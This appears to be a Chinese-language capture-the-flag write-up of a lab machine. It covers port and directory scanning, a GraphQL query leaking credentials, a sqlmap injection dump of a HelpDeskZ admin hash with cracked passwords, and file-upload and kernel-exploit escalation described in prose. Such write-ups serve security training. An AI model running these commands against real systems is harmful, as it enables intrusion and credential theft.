基本信息

端口扫描

22,80,3000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nmap -sC -sV -Pn 10.10.10.121

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-19 14:34 CST
Nmap scan report for 10.10.10.121
Host is up (0.067s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.47 seconds

80

apache默认页面：

3000

目录扫描

helpdeskz

80发现support，是helpdesk,用的开源HelpDeskZ ：

1
2
3
4
gobuster dir -u http://10.10.10.121/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50

/javascript           (Status: 301) [Size: 317] [--> http://10.10.10.121/javascript/]
/support              (Status: 301) [Size: 314] [--> http://10.10.10.121/support/]

根据README.md知道版本是1.0.2

graphql

3000根据提示可以搜到是graphql，硬扫也能扫到：

1
2
3
gobuster dir -u http://10.10.10.121:3000/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50

/graphql              (Status: 400) [Size: 18]

graphql

可以手工枚举，也可以用插件，得到query格式，根据格式得到用户密码：

1
2
3
{"data":{"user":{"password":"5d3c93182bb20f07b994a7f617e99cff","username":"helpme@helpme.com"}}}

godhelpmeplz

helpdeskz

搜到两个漏洞：

sql注入

已有账号密码，登录进去：

可以直接sqlmap，得到admin密码：

1
2
3
4
5
6
7
8
9
10
sqlmap -r sql.txt -v 3 --level 3 --batch --threads=10 -D support -T staff --dump

Database: support
Table: staff
[1 entry]
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+
| id | admin | login      | email              | status | avatar | username | fullname      | timezone | password                                            | signature                      | last_login | department         | newticket_notification |
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+
| 1  | 1     | 1547216217 | support@mysite.com | Enable | NULL   | admin    | Administrator | <blank>  | d318f44739dced66793b1a603028133a76ae680e (Welcome1) | Best regards,\r\nAdministrator | 1543429746 | a:1:{i:0;s:1:"1";} | 0                      |
+----+-------+------------+--------------------+--------+--------+----------+---------------+----------+-----------------------------------------------------+--------------------------------+------------+--------------------+------------------------+

文件上传 getshell

也可以通过文件上传方式，上传php提示不允许，实际上已上传，需要找到文件名,然后就可以reverse shell：

user flag

ssh使用得到的密码登录，或者使用文件上传得到的help shell，得到user.txt:

提权信息

内核提权：

1
2
help@help:~$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

提权 & root flag

任意一个可用exp，提到root，读取root.txt:

参考资料